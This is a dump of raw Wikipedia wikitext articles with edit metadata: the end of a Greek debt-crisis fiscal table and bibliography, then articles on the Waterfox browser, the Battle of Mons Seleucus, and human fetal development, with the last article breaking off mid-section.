|style="border-top:0; border-bottom:0"| 9.9
|style="border-top:0; border-bottom:0"| 15.3
|style="border-top:0; border-bottom:0"| 11.1
|style="border-top:0; border-bottom:0"| 10.2
|style="border-top:0; border-bottom:0"| 8.7
|style="border-top:0; border-bottom:0"| 12.3
|style="border-top:0; border-bottom:0"| 3.5
|style="border-top:0; border-bottom:0; background:#ffc"| 2.1
|style="border-top:0; border-bottom:0; background:#ffc"| 2.2
|style="border-top:0; border-bottom:0; background:#ffc"| TBA
|- style="border-bottom:2px solid"
|align="left" style="border-top:0"|'''- Overall yearly ratio change (%)'''
| style="border-top:0"|'''−2.3'''
| style="border-top:0"|'''−0.9'''
| style="border-top:0"|'''6.5'''
| style="border-top:0"|'''0.6'''
| style="border-top:0"|'''1.5'''
| style="border-top:0"|'''−2.9'''
| style="border-top:0"|'''−2.6'''
| style="border-top:0"|'''−0.7'''
| style="border-top:0"|'''11.1'''
| style="border-top:0"|'''0.4'''
| style="border-top:0"|'''−1.8'''
| style="border-top:0"|'''−4.0'''
| style="border-top:0"|'''0.8'''
| style="border-top:0"|'''11.8'''
| style="border-top:0"|'''−3.4'''
| style="border-top:0"|'''−0.4'''
| style="border-top:0"|'''6.2'''
| style="border-top:0"|'''17.5'''
| style="border-top:0"|'''19.2'''
| style="border-top:0"|'''25.3'''
| style="border-top:0"|'''−14.5'''
| style="border-top:0"|'''18.1'''
| style="border-top:0"|'''2.1'''
| style="border-top:0;background:#ffc"| '''3.1'''
| style="border-top:0;background:#ffc"| '''−6.8'''
| style="border-top:0;background:#ffc"| '''TBA'''
|-
|colspan="27" style="text-align:center" |'''Notes:''' a Year of entry into the [[Eurozone]]. b Forecasts by [[European Commission]] pr 5 May 2015.<ref name="EC-spring-forecast 2015">{{cite web|title=European economic forecast – spring 2015 |url=http://ec.europa.eu/economy_finance/eu/forecasts/2015_spring_forecast_en.htm |publisher=European Commission |date=5 May 2015}}</ref> c Forecasts by the bailout plan in April 2014.<ref name="Second Economic Adjustment Programme for Greece (Fourth review April 2014)">{{cite web|title=The Second Economic Adjustment Programme for Greece (Fourth review April 2014) |url=http://ec.europa.eu/economy_finance/publications/occasional_paper/2014/pdf/ocp192_en.pdf |format=PDF|publisher=European Commission|date=23 April 2014|accessdate=17 May 2014}}</ref> d Calculated by ESA-2010 EDP method, except data for 1990–2005 only being calculated by the old ESA-1995 EDP method. e Structural balance = "Cyclically-adjusted balance" minus impact from "one-off and temporary measures" (according to ESA-2010). f Data for 1990 is not the "structural balance", but only the "Cyclically-adjusted balance" (according to ESA-1979).<ref name="Cyclically-adjusted balance 1990-2014">{{cite web|url=http://ec.europa.eu/economy_finance/db_indicators/gen_gov_data/documents/2014/ccab_spring_en.pdf|title=Cyclical adjustment of Budget Balances – spring 2014|format=PDF|publisher=European Commission|date=7 May 2014}}</ref><ref name="Cyclically-adjusted balance 1970-2012">{{cite web|url=http://www.cesifo-group.de/de/ifoHome/facts/DICE/Public-Sector/Public-Finance/Public-Debt/fiscal-balances/fileBinary/fiscal-balances.xls|title=Fiscal balances 1970–2015: A1 – Cyclically adjusted net lending (+) or net borrowing (-) of general government, as a percentage of potential GDP|format=XLS|publisher=Center for Economic Studies – Ifo institut (CESifo)|date=5 December 2013}}</ref> g Data for 1995–2002 is not the "structural balance", but only the "Cyclically-adjusted balance" (according to ESA-1995).<ref name="Cyclically-adjusted balance 1990-2014" /><ref name="Cyclically-adjusted balance 1970-2012" /> h Data for 2003–2009 represents the "structural balance", but are so far only calculated by the old ESA-1995 method. i Calculated as yoy %-change of the GDP deflator index in National Currency (weighted to match the GDP composition of 2005). j Calculated as yoy %-change of 2010 constant GDP in National Currency. k Figures prior of 2001 were all converted retrospectively from drachma to euro by the fixed euro exchange rate in 2000.
|}

== See also ==
* [[European debt crisis]]
* [[Currency crisis]]
* [[List of countries by external debt]]
* [[List of countries by net international investment position per capita]]
* [[Institute of International Finance#Greek debt crisis|The role of the Institute of International Finance in the Greek debt crisis]]
* [[List of acronyms: European sovereign-debt crisis]]
* [[Puerto Rican debt crisis]]
* [[Vulture fund]]

'''Analogous events:'''
* [[1997 Asian financial crisis]]
* [[1998 Russian financial crisis]]
* [[1998–2002 Argentine great depression]]
* [[Latin American debt crisis]]
* [[List of sovereign debt crises]]
* [[South American economic crisis of 2002]]

'''Film about the debt'''
* ''[[Debtocracy]]''

== Notes and references ==
{{Reflist|30em}}

== Bibliography ==
{{Refbegin}}
* {{Citation | last = Blustein | first = Paul | date = 7 April 2015 | title = Laid Low: The IMF, the Euro Zone and the First Rescue of Greece | url = https://www.cigionline.org/sites/default/files/cigi_paper_no.61web.pdf | series = CIGI Papers Series | publisher = [[Centre for International Governance Innovation|CIGI]] | accessdate = 18 April 2015}}.
* {{Citation | last = Schadler | first = Susan | date = October 2013 | title = Unsustainable debt and political economy of lending; constraining the IMF's role in sovereign debt crises | url = https://www.cigionline.org/sites/default/files/no19.pdf | series = CIGI Papers Series | publisher = CIGI | accessdate = 19 August 2015}}.
* {{cite journal | last = Dalakoglou | first = Dimitris | year = 2012 | title = The crisis before the crisis | url = https://www.academia.edu/3073023/The_Crisis_Before_The_Crisis_| accessdate = 11 November 2013 | journal = [[Social Justice (journal)|Social Justice]] | volume = 39 | number = 1 | pages = 24–42 }}
* {{cite book | last = Dalakoglou | first = Dimitris | year = 2014 | title = Crisis-scapes: Athens and Beyond | url = https://www.academia.edu/6830440/Crisis-Scapes_Athens_and_Beyond | location = Athens, Brighton | publisher = [[ESRC]] | isbn = 978-1-938660-15-3 }}
* {{cite journal | last = Janssen | first = Ronald | date = July 2010 | title = Greece and the IMF: Who Exactly is Being Saved? | url = http://www.cepr.net/documents/publications/greece-imf-2010-07.pdf | accessdate = 11 November 2013 | location = Washington, DC | publisher = [[Center for Economic and Policy Research|CEPR]] }}
* {{cite book | last = Pasiouras | first = Fotios | year = 2012 | title = Greek Banking: From the Pre-Euro Reforms to the Financial Crisis and Beyond | url = http://www.palgraveconnect.com/pc/doifinder/10.1057/9781137271570 | location = Basingstoke | publisher = [[Palgrave Macmillan]] | isbn = 978-0-230-35608-5 }}
* {{Citation| first= Paul-Adrien |last=Hyppolite|title = Towards a Theory on the Causes of the Greek Depression: An Investigation of National Balance Sheet Data (1997–2014)| url = http://crisisobs.gr/wp-content/uploads/2016/05/%CE%95%CF%81%CE%B5%CF%85%CE%BD%CE%B7%CF%84%CE%B9%CE%BA%CF%8C-%CE%9A%CE%B5%CE%AF%CE%BC%CE%B5%CE%BD%CE%BF_22_Paul-Adrien-Hyppolite-%CE%95%CE%9DG1.pdf |publisher=[[Hellenic Foundation for European and Foreign Policy|ELIAMEP]]: Crisis Observatory | date = May 2016 |accessdate= 2 June 2016}}.
{{Refend}}

{{European sovereign-debt crisis}}
{{Greece topics|state=collapsed}}

[[Category:Greek government-debt crisis| ]]
[[Category:21st century in economics]]
[[Category:Economic history of Greece]]
[[Category:Eurozone crisis]]
[[Category:Financial crises]]
[[Category:Government debt by country]]
[[Category:Government finances in Greece]]

Waterfox

2015-04-11T22:15:26Z

PythonCode: Updated version number of stable release.

{{Infobox web browser
| name = Waterfox
| logo = Waterfox 2014 Logo.png
| screenshot =
| slogan = The fastest 64-bit variant of Firefox on the web.
| caption =
| collapsible =
| author = Alex Kontos
| developer =
| released =
| discontinued =
| latest_release_version = 37.0.1
| latest_release_date = {{Start date and age|2015|4|9|df=yes}}
| frequently updated =
| programming language =
| operating system = [[Microsoft Windows|Windows]], [[OS X]]
| engine = [[Gecko (layout engine)|Gecko]]
| platform = [[x86-64]]
| size =
| language =
| status = Active
| genre = [[Web browser]]
| license = [[Mozilla Public License]]
| website = {{URL|https://www.waterfoxproject.org/}}
| standard =
| AsOf =
}}
'''Waterfox''' is an [[open-source software|open-source]] [[web browser]] based on [[Mozilla Firefox]] for [[64-bit Windows]] and OS X systems. As there is no stable 64-bit version of Firefox for Windows, Waterfox may be used as an alternative.<ref>{{cite web |url=http://www.pcworld.com/article/246758/use_a_64_bit_pc_instead_of_firefox_try_waterfox_9_0.html |title=Use a 64-Bit PC? Instead of Firefox, Try Waterfox 9.0 |first=Katherine |last=Noyes |work=[[PC World]] |date=27 December 2011 |archiveurl=http://wayback.archive.org/web/20120925064607/http://www.pcworld.com/article/246758/use_a_64_bit_pc_instead_of_firefox_try_waterfox_9_0.html |archivedate=25 September 2012 |deadurl=no}}</ref> It is compiled using the [[Intel C++ Compiler]], and uses Intel's Math Kernel Library, [[Streaming SIMD Extensions]] 3 and [[Advanced Vector Extensions]]. It is compatible with [[Add-on (Mozilla)|Firefox add-ons]] and 64-bit [[NPAPI]] browser plug-ins.<ref>{{cite web|url=http://www.waterfoxproject.org/|accessdate=20 October 2013|title=Waterfox}}</ref> Although Firefox outperformed Waterfox in [[Peacekeeper (benchmark)|Peacekeeper browser benchmark tests]] run by ''[[TechRepublic]]'' in 2012,<ref>{{cite web |url=http://www.techrepublic.com/blog/windows-and-office/review-firefoxs-unofficial-64-bit-variant-waterfox/ |title=Review: Firefox's unofficial 64-bit variant Waterfox |first=Matthew |last=Nawrocki |work=[[TechRepublic]] |date=20 April 2012 |archiveurl=http://wayback.archive.org/web/20130729032540/http://www.techrepublic.com/blog/windows-and-office/review-firefoxs-unofficial-64-bit-variant-waterfox/ |archivedate=29 July 2013 |deadurl=no}}</ref> Waterfox showed a mild improvement over Firefox in tests run by ''[[Softpedia]]'' in 2014.<ref>{{cite web|url=http://www.softpedia.com/reviews/windows/Waterfox-Review-445085.shtml|title=Waterfox 28 Review – A 64-Bit Version of Firefox|work=Softpedia|date=6 June 2014|last=Opris|first=Elena}}</ref> Benchmarks are also available on the developers website run on the system Waterfox is built on.<ref>{{cite web|url=https://www.waterfoxproject.org/#benchmarks|title=Waterfox Benchmarks|work=Waterfox Project Website|date=1 August 2014|}}</ref> Waterfox was presented at an event called “Pitch at the Palace”<ref>{{cite web|url=http://thedukeofyork.org/entrepreneurship/pitch-palace-bootcamp/|title=Pitch @ Palace Bootcamp|work=The Duke of York|date=10 November 2014|}}</ref> at [[St. James Palace]] for [[Prince_Andrew,_Duke_of_York|HRH The Duke of York]].

To date Waterfox has over 3,000,000 downloads, spanning 180 countries.

== See also ==
* [[Firefox]]
* [[Pale Moon (web browser)|Pale Moon]]

== References ==
{{reflist}}

{{Web browsers|desktop}}

[[Category:2011 software]]
[[Category:Free FTP clients]]
[[Category:Software that uses XUL]]
[[Category:Free software programmed in C++]]
[[Category:Free web browsers]]
[[Category:Gecko-based software]]
[[Category:Web browsers based on Firefox]]
[[Category:Windows web browsers]]

Battle of Mons Seleucus

2015-03-08T03:13:57Z

PythonCode: Remove a character at the top of the page.

{{unreferenced|date=July 2008}}
{{Infobox military conflict|
image=|
caption=|
conflict=Battle of Mons Seleucus|
partof=|
date=353|
place=[[La Bâtie-Montsaléon]], France|
result=Constantius decisive victory|
combatant1=[[Roman Empire]]|
combatant2=[[Roman Empire]]|
commander1=[[Magnentius]]|
commander2=[[Constantius II]]|
strength1=|
strength2=|
casualties1=|
casualties2=|
}}
{{Campaignbox Fourth Century Roman Civil Wars}}

The '''Battle of Mons Seleucus''' was fought in 353 between the forces of the legitimate Roman emperor [[Constantius II]] of the line of Constantine I the Great and the forces of the usurper [[Magnentius]]. Constantius' forces were victorious, and Magnentius later committed suicide.

It took place in [[La Bâtie-Montsaléon]] in today's department [[Hautes-Alpes]], Southern France.

{{coord missing|France}}

[[Category:353]]
[[Category:Battles involving the Roman Empire|Mons Seleucus 353]]
[[Category:4th century in the Roman Empire]]
[[Category:Civil wars of the Roman Empire]]
[[Category:Hautes-Alpes]]

{{AncientRome-battle-stub}}

Fetus

2014-10-10T01:21:53Z

PythonCode: A PNG version of this file is now available.

{{about|the stage of human development|other species|Fetus (biology)|other uses|Fetus (disambiguation)}}

A '''fetus''' {{IPAc-en|ˈ|f|iː|t|ə|s}}, also spelled '''''foetus''''' (or archaically '''''faetus'''''), is a developing [[mammal]] or other [[viviparous]] [[vertebrate]] after the [[embryo]]nic stage and before [[childbirth|birth]]. It is also defined as the unborn young of a vertebrate, after developing to its basic form.<ref>Britannica Concise Encyclopedia 2007,</ref>

In humans, the fetal stage of [[prenatal development]] may be defined as beginning at the eleventh week in [[gestational age]], which is the ninth week after [[fertilization]].<ref name="nursing">Klossner, N. Jayne [http://books.google.com/books?id=B47OVg25g-QC&pg=PA103&lpg=PA103&dq=fetal+stage+begins&source=web&ots=dqQjWN-2jU&sig=-KVkuIJggNo1T_gV6AHkcc58xyI&hl=en Introductory Maternity Nursing] (2005): "The fetal stage is from the beginning of the 9th week after fertilization and continues until birth"</ref><ref>[http://www.americanpregnancy.org/duringpregnancy/fetaldevelopment1.htm The American Pregnancy Association]</ref> In biological terms, however, prenatal development is a continuum, with no clear defining feature distinguishing an embryo from a fetus. The use of the term "fetus" generally implies that a mammalian embryo has developed to the point of being recognizable as belonging to its own species, and this is usually taken to be the 9th week after fertilization. A fetus is also characterized by the presence of all the major body organs, though they will not yet be fully developed and functional, and may not all be situated in their final anatomical location.

==Etymology==
The word ''[[wikt:fetus#English|fetus]]'' (plural ''[[wikt:fetuses#English|fetuses]]'') is from the [[Latin]] ''[[wikt:en:fetus#Latin|fētus]]'' (“offspring”, “bringing forth”, “hatching of young”).<ref>O.E.D.2nd Ed.2005</ref><ref>Harper, Douglas. (2001). ''[http://etymonline.com/ Online Etymology Dictionary]''. Retrieved 2007-01-20.</ref> The British, Irish, and Commonwealth spelling is ''[[wikt:foetus#English|foetus]]'', which has been in use since at least 1594.<ref name=OED>{{Cite journal|title=Foetus|volume=Oxford English Dictionary|url=http://dictionary.oed.com/cgi/entry/50087237|postscript=}}</ref> It arose as a [[hypercorrection]] based on an incorrect etymology (i.e. due to insufficient knowledge of Latin) that may have originated with an error by [[Isidore of Seville]], in AD 620.<ref name="Br Med J">{{cite journal | last = Hamilton | first = W.J. | title = Foetus—or Fetus? | journal = British Medical Journal | volume = 1 | issue =5537 | date = 18 February 1967 | pmc = 1841520 | pmid = }}</ref><ref name=BMJ>{{cite journal | last = Aronson | first = Jeff | title = When I use a word...:Oe no! | journal = British Medical Journal | volume = 315 | issue =7102 | date = 26 July 1997 | url = http://www.bmj.com/content/315/7102/0.9|accessdate=25 September 2012 }}</ref> This spelling is the most common in most Commonwealth nations, except in the medical literature, where ''fetus'' is used. The etymologically accurate original spelling, ''fetus'', is used in Canada and the United States. In addition, ''fetus'' is now the standard English spelling throughout the world in medical journals.<ref>New Oxford Dictionary of English.</ref> The spelling ''[[wikt:faetus#English|faetus]]'' was used historically.<ref>American Dictionary of the English Language. Noah Webster. (1828).</ref>

==Development==
{{Main|Prenatal development}}

===Weeks 9 to 16===
[[File:Fetus 3 months.jpg|thumb|right|220px|A human (former) [[embryo]] that has become a fetus is attached to the [[placenta]]. Approximately 12 weeks after [[fertilization]].]]In humans, the fetal stage commences at the beginning of the ninth week.<ref name="nursing" /> At the start of the fetal stage, the fetus is typically about {{convert|30|mm|in}} in length from crown to rump, and weighs about 8 grams.<ref name="nursing" /> The head makes up nearly half of the fetus' size.<ref name = "itrfps">[http://www.nlm.nih.gov/medlineplus/ency/article/002398.htm MedlinePlus]</ref> Breathing-like movement of the fetus is necessary for stimulation of lung development, rather than for obtaining oxygen.<ref>Institute of Medicine of the National Academies, ''[http://books.nap.edu/openbook.php?record_id=11622&page=261 Preterm Birth: Causes, Consequences, and Prevention]'' (2006), page 317. Retrieved 2008-03-12</ref> The heart, hands, feet, brain and other organs are present, but are only at the beginning of development and have minimal operation.<ref name="Columbia">''[http://www.bartleby.com/65/fe/fetus.html The Columbia Encyclopedia]'' (Sixth Edition). Retrieved 2007-03-05.</ref><ref>Greenfield, Marjorie. “[http://www.drspock.com/article/0,1510,9851,00.html Dr. Spock.com]". Retrieved 2007-01-20.</ref>

At this point in development, uncontrolled movements and twitches occur as muscles, the brain, and pathways begin to develop.<ref name="Prechtl">Prechtl, Heinz. [http://books.google.com/books?vid=ISBN0792369432&id=FzyPozUyKPkC&pg=RA1-PA416&lpg=RA1-PA416&dq=fetus+and+movement&num=100&sig=6_E9lwpo1KhTtwzIkTKh2difcbo#PRA1-PA415,M1 "Prenatal and Early Postnatal Development of Human Motor Behavior"] in ''Handbook of brain and behaviour in human development'', Kalverboer and Gramsbergen eds., pp. 415-418 (2001 Kluwer Academic Publishers): "The first movements to occur are sideward bendings of the head....At 9-10 weeks postmestrual age complex and generalized movements occur. These are the so-called general movements (Prechtl et al., 1979) and the startles. Both include the whole body, but the general movements are slower and have a complex sequence of involved body parts, while the startle is a quick, phasic movement of all limbs and trunk and neck."</ref>

===Weeks 17 to 25===
A woman pregnant for the first time (primiparous), typically feels fetal movements at about 21 weeks, whereas a woman who has given birth at least once (multiparous), will typically feel movements by 20 weeks.<ref>Levene, Malcolm et al. ''[http://books.google.com/books?vid=ISBN0632051639&id=FHXtDkLzOHEC&pg=RA2-PA8&lpg=RA2-PA8&ots=fkQG1qvn5i&dq=%22quickening%22+and+obese&num=100&sig=-Xgmp3WR71poUh1qJ3oke-5XTOM#PRA2-PA8,M1 Essentials of Neonatal Medicine]'' (Blackwell 2000), p. 8. Retrieved 2007-03-04.</ref> By the end of the fifth month, the fetus is about 20 cm (8 inches) long.

===Weeks 26 to 38===
[[File:40 weeks pregnant.png|thumb|right|Artist's depiction of fetus at 38 weeks after fertilization, about {{convert|20|in|cm}} head to toe.]]The amount of body fat rapidly increases. Lungs are not fully mature. [[thalamus|Thalamic]] brain connections, which mediate sensory input, form. Bones are fully developed, but are still soft and pliable. [[Iron]], [[calcium]], and [[phosphorus]] become more abundant. Fingernails reach the end of the fingertips. The [[lanugo]], or fine hair, begins to disappear, until it is gone except on the upper arms and shoulders. Small [[breast bud]]s are present on both sexes. Head hair becomes coarse and thicker. Birth is imminent and occurs around the 38th week after fertilization. The fetus is considered full-term between weeks 35 and 38, when it is sufficiently developed for life outside the uterus.<ref>[http://www.babycenter.com/mybabycenter/136.html Your Pregnancy: 36 Weeks] ''BabyCenter.com'' Retrieved June 1, 2007.</ref><ref>[http://www.memidex.com/full-term "full-term" defined by Memidex/WordNet].</ref> It may be 48 to 53 cm (19 to 21 inches) in length, when born. Control of movement is limited at birth, and purposeful voluntary movements develop all the way until puberty.<ref>Stanley, Fiona et al. [http://books.google.com/books?id=aJwvMYMAfmYC&pg=PA48&lpg=PA48&dq=%22Voluntary+control+of+movement+develops+and+matures+%22&source=web&ots=JhdiM8qqIj&sig=U1BxRZKZANvTlSY35V7pc6dVmJg&hl=en "Cerebral Palsies: Epidemiology and Causal Pathways"], page 48 (2000 Cambridge University Press): "Motor competence at birth is limited in the human neonate. The voluntary control of movement develops and matures during a prolonged period up to puberty...."</ref><ref name="Becher">Becher, Julie-Claire. {{cite web | url = http://pregnancyarchive.com/articles/insights-into-early-fetal-development | title= Insights into Early Fetal Development}}, ''Behind the Medical Headlines'' (Royal College of Physicians of Edinburgh and Royal College of Physicians and Surgeons of Glasgow October 2004) </ref>

===Variation in growth===
{{see also|Birth weight}}
There is much variation in the growth of the human fetus. When fetal size is less than expected, that condition is known as intrauterine growth restriction (IUGR) also called fetal growth restriction (FGR); factors affecting fetal growth can be ''maternal'', ''[[placenta]]l'', or ''fetal''.<ref name="Holden">Holden, Chris and MacDonald, Anita. ''[http://books.google.com/books?vid=ISBN070202421X&id=EUXbcmfcADYC&pg=RA2-PA174&lpg=RA2-PA174&ots=_-wbxFW87C&dq=%22growth%22+and+variation+and+fetus+and+%22placental+factors%22+and+%22maternal+factors%22+and+%22fetal+factors%22&num=100&sig=0jIpH8JKU_2TDllfpRuCjcFgD1I Nutrition and Child Health]'' (Elsevier 2000). Retrieved 2007-03-04.</ref>

'''Maternal''' factors include maternal [[weight]], [[body mass index]], nutritional state, emotional [[Stress (medicine)|stress]], toxin exposure (including [[tobacco]], [[alcohol]], [[heroin]], and other drugs which can also harm the fetus in other ways), and [[uterus|uterine]] [[blood]] flow.

'''Placental''' factors include size, microstructure (densities and architecture), [[umbilical cord|umbilical]] blood flow, transporters and binding proteins, nutrient utilization and nutrient production.

'''Fetal''' factors include the fetus genome, nutrient production, and [[hormone]] output. Also, female fetuses tend to weigh less than males, at full term.<ref name="Holden"/>

Fetal growth is often classified as follows: small for gestational age (SGA), appropriate for gestational age (AGA), and large for gestational age (LGA).<ref>Queenan, John. ''[http://books.google.com/books?vid=ISBN0632043326&id=sfp-OzoU6X4C&pg=RA2-PA6&lpg=RA2-PA6&ots=otwaM0KidM&dq=sga+aga+lga+growth+factors+placental&num=100&sig=bzteZcizgLWVNg6heQ7QWnLur3A#PRA2-PA6,M1 Management of High-Risk Pregnancy]'' (Blackwell 1999). Retrieved 2007-03-04.</ref> SGA can result in [[low birth weight]], although premature birth can also result in low birth weight. Low birth weight increases risk for perinatal mortality ([[death]] shortly after birth), [[asphyxia]], [[hypothermia]], [[polycythemia]], [[hypocalcemia]], [[immune dysfunction]], [[neurologic]] abnormalities, and other long-term health problems. SGA may be associated with growth delay, or it may instead be associated with absolute stunting of growth.

==Viability==
{{Main|Fetal viability}}
{{wide image|Prenatal development table.svg|1850px|Stages in [[prenatal development]], showing viability and point of 50% chance of survival at bottom. Weeks and months numbered [[gestational age|by gestation]].}}

Viability refers to a point in fetal development at which the fetus may survive outside the womb. The lower limit of [[Viability (fetal)|viability]] is approximately five months [[gestational age]], and usually later.<ref>Halamek, Louis. "[http://neoreviews.aappublications.org/cgi/content/extract/4/6/e153 Prenatal Consultation at the Limits of Viability]", ''NeoReviews'', Vol.4 No.6 (2003): "most neonatologists would agree that survival of infants younger than approximately 22 to 23 weeks’ estimated gestational age [i.e. 20 to 21 weeks' estimated fertilization age] is universally dismal and that resuscitative efforts should not be undertaken when a neonate is born at this point in pregnancy."</ref>

There is no sharp limit of development, age, or weight at which a fetus automatically becomes viable.<ref name=developinghuman>Moore, Keith and Persaud, T. [http://books.google.com/books?id=dbRpAAAAMAAJ&q=%22Prematurity+is+one+of+the+most+common+causes+of+morbidity%22&dq=%22Prematurity+is+one+of+the+most+common+causes+of+morbidity%22&ei=lPzISYHyK4mqMqTGzOwN&pgis=1 ''The Developing Human: Clinically Oriented Embryology''], p. 103 (Saunders 2003).</ref> According to data years 2003-2005, 20 to 35 percent of babies born at 23 [[weeks of gestation]] survive, while 50 to 70 percent of babies born at 24 to 25 weeks, and more than 90 percent born at 26 to 27 weeks, survive.<ref name=marchofdimes>[http://www.marchofdimes.com/professionals/14332_1196.asp March of Dimes - Neonatal Death] Retrieved on September 2, 2009</ref> It is rare for a baby weighing less than 500 gm to survive.<ref name=developinghuman/>

When such [[premature birth|premature]] babies are born, the main causes of [[perinatal mortality]] are that the respiratory system and the central nervous system are not completely differentiated.<ref name=developinghuman/> If given expert postnatal care, some fetuses weighing less than 500 gm may survive, and are referred to as ''extremely low birth weight'' or ''immature infants''.<ref name=developinghuman/> [[Preterm birth]] is the most common cause of perinatal mortality, causing almost 30 percent of neonatal deaths.<ref name=marchofdimes/>

==Fetal pain==
{{main|Fetal pain}}

Fetal [[pain]], its existence, and its implications are debated politically and academically. According to the conclusions of a review published in 2005, "Evidence regarding the capacity for fetal pain is limited but indicates that fetal perception of pain is unlikely before the third trimester."<ref name="JAMA">{{cite journal | last = Lee | first = Susan | title = Fetal Pain A Systematic Multidisciplinary Review of the Evidence | journal = The Journal of the American Medical Association | volume = 294 | issue = 8 | date = August 24–31, 2005 | publisher = the American Medical Association| url = http://jama.ama-assn.org/cgi/content/full/294/8/947 | accessdate = 2008-02-14 | pmid = 16118385 | doi = 10.1001/jama.294.8.947 | pages = 947–54 | last2 = Ralston | first2 = HJ | last3 = Drey | first3 = EA | last4 = Partridge | first4 = JC | last5 = Rosen | first5 = MA }} Two authors of the study published in JAMA did not report their abortion-related activities, which pro-life groups called a conflict of interest; the editor of JAMA responded that JAMA probably would have mentioned those activities if they had been disclosed, but still would have published the study. See Denise Grady, [http://www.nytimes.com/2005/08/26/health/26pain.html “Study Authors Didn't Report Abortion Ties”], ''New York Times'' (2005-08-26).</ref><ref name = "sskqke">[http://www.msnbc.msn.com/id/9053416/ "Study: Fetus feels no pain until third trimester"] MSNBC</ref> However, developmental [[neurobiology|neurobiologists]] argue that the establishment of [[Human thalamus|thalamocortical]] connections (at about 26 weeks), is an essential event with regard to fetal perception of pain.<ref name="Johnson">Johnson, Martin and Everitt, Barry. ''[http://books.google.com/books?vid=ISBN0632042877&id=MzZRuSQ5UeEC&pg=PA215&lpg=PA215&ots=cx0KcmuOYk&dq=%22emerging+consensus+among+developmental+neurobiologists+that+the+establishment+%22&num=100&sig=8I9DY9KPpuSPNYvGI3sEV2bmKsA Essential reproduction]'' (Blackwell 2000): "The multidimensionality of pain perception, involving sensory, emotional, and cognitive factors may in itself be the basis of conscious, painful experience, but it will remain difficult to attribute this to a fetus at any particular developmental age." Retrieved 2007-02-21.</ref> Nevertheless, the perception of pain involves sensory, emotional and cognitive factors, and it is "impossible to know" when pain is experienced, even if it is known when thalamocortical connections are established.<ref name="Johnson"/> Some authors,<ref name="test">Glover V. The fetus may feel pain from 20 weeks. Conscience. 2004-2005 Winter;25(3):35-7</ref> however, argue that fetal pain is possible from the second half of pregnancy: “The available scientific evidence makes it possible, even probable, that fetal pain perception occurs well before late gestation” wrote KJS Anand in the journal of the [[International Association for the Study of Pain|IASP]].<ref name="Anand">http://www.iasp-pain.org/AM/AMTemplate.cfm?Section=HOME&TEMPLATE=/CM/ContentDisplay.cfm&CONTENTID=15390&SECTION=HOME</ref>

Whether a fetus has the ability to feel [[pain]] and to [[suffering|suffer]] is part of the [[abortion debate]].<ref>White, R. Frank. "[http://www.asahq.org/Newsletters/2001/10_01/white.htm Are We Overlooking Fetal Pain and Suffering During Abortion?]", ''American Society of Anesthesiologists Newsletter'' (October 2001). Retrieved 2007-03-10.</ref><ref>David, Barry & and Goldberg, Barth. "[http://www.illinoisbar.org/IBJ/dec02lj/dectoc.htm Recovering Damages for Fetal Pain and Suffering]", ''Illinois Bar Journal'' (December 2002). Retrieved 2007-03-10.</ref> For example, in the USA legislation has been proposed by [[pro-life]] advocates that abortion providers should be required to tell a woman that the fetus may feel pain during the abortion procedure, and require her to accept or decline anesthesia for the fetus.<ref>Weisman, Jonathan. "[http://www.washingtonpost.com/wp-dyn/content/article/2006/12/04/AR2006120401089.html House to Consider Abortion Anesthesia Bill]", ''Washington Post'' 2006-12-05. Retrieved 2007-02-06.</ref>

==Circulatory system==
{{main|Fetal circulation}}
[[File:Fetal circulation.png|thumb|right|220px|Diagram of the human [[fetal circulatory system]].]]
The heart and blood vessels which form the [[circulatory system]], form relatively early during embryonic development, but continue to grow and develop in complexity in the growing fetus. A functional circulatory system is a biological necessity, since mammalian tissues can not grow more than a few cell layers thick without an active blood supply. The prenatal circulation of blood is different than the postnatal circulation, mainly because the lungs are not in use. The fetus obtains [[oxygen]] and nutrients from the mother through the [[placenta]] and the [[umbilical cord]].<ref name="Whitaker">Whitaker, Kent. ''[http://books.google.com/books?vid=ISBN0766813738&id=R3WK8XyAHYgC&pg=PA18&lpg=PA18&ots=wcft0RkRxg&dq=%22fetal+circulatory+system%22&sig=_DSt-D7pBSBtikfJ5oQKYVlNKmU Comprehensive Perinatal and Pediatric Respiratory Care]'' (Delmar 2001). Retrieved 2007-03-04.</ref>

Blood from the placenta is carried to the fetus by the [[umbilical vein]]. About half of this enters the fetal ''[[ductus venosus]]'' and is carried to the [[inferior vena cava]], while the other half enters the [[liver]] proper from the inferior border of the liver. The branch of the umbilical vein that supplies the right lobe of the liver first joins with the [[portal vein]]. The blood then moves to the right atrium of the [[heart]]. In the fetus, there is an opening between the right and left atrium (the ''[[foramen ovale (heart)|foramen ovale]]''), and most of the blood flows from the right into the left atrium, thus bypassing [[pulmonary circulation]]. The majority of blood flow is into the left ventricle from where it is pumped through the [[aorta]] into the body. Some of the blood moves from the aorta through the internal iliac arteries to the umbilical arteries, and re-enters the placenta, where [[carbon dioxide]] and other waste products from the fetus are taken up and enter the woman's circulation.<ref name="Whitaker"/>

Some of the blood from the right atrium does not enter the left atrium, but enters the right ventricle and is pumped into the [[pulmonary artery]]. In the fetus, there is a special connection between the pulmonary artery and the aorta, called the ''[[ductus arteriosus]]'', which directs most of this blood away from the lungs (which aren't being used for respiration at this point as the fetus is suspended in [[amniotic fluid]]).<ref name="Whitaker"/>

===Postnatal development===
{{Main|Adaptation to extrauterine life}}

With the first breath after birth, the system changes suddenly. The pulmonary resistance is dramatically reduced ("pulmo" is from the Latin for "[[lung]]"). More blood moves from the right atrium to the right ventricle and into the pulmonary arteries, and less flows through the ''[[foramen ovale (heart)|foramen ovale]]'' to the left atrium. The blood from the lungs travels through the pulmonary veins to the left atrium, increasing the pressure there. The decreased right atrial pressure and the increased left atrial pressure pushes the ''septum primum'' against the ''septum secundum'', closing the ''foramen ovale'', which now becomes the ''fossa ovalis''. This completes the separation of the circulatory system into two halves, the left and the right.

The ''ductus arteriosus'' normally closes off within one or two days of birth, leaving behind the ligamentum arteriosum. The umbilical vein and the ductus venosus closes off within two to five days after birth, leaving behind the ''[[Round ligament of the uterus|ligamentum teres]]'' and the ''[[ligamentum venosus]]'' of the liver respectively.

===Differences between fetal and postnatal===
